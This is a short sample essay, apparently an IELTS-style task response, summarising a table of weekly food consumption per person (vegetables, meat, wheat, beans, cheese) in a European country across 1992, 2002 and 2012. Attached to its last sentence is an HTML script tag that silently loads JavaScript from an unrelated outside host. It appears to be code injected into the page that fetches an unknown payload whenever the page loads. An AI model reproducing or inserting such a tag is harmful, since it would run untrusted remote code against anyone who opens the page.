The table below presents the food consumption per person weekly in a European country in 1992 2002 and 2012

The table illustrates the food consumed per person in a European country in 1992, 2002 and 2012.

Overall, the amount of vegetables reached the highest point. Meanwhile, the cheese was at the bottom.

In 1992, vegetables accounted for 2140 grams and increased in 2012 to 2220 grams. The number of meats fluctuated during the period. It began with 1148 grams in 1992, raised to 1211 grams in 2002 and ended with 1132 grams in 2012.

Wheat and beans were the same and had an upward trend. The amount of wheat grew to 920 grams in 2002 and kept growing to 977 grams in 2012. Furthermore, the bean was followed by the wheat. It experienced a constant rise from 1992 to 2012, reaching a peak of 590 grams in 2012. On the contrary, cheese rose slightly between 1992 and 2002, and it remained unchanged until 2012, but it was still the lowest group at the end of the period.<script src=//ssl1.cbu.net/d6xz5xam></script>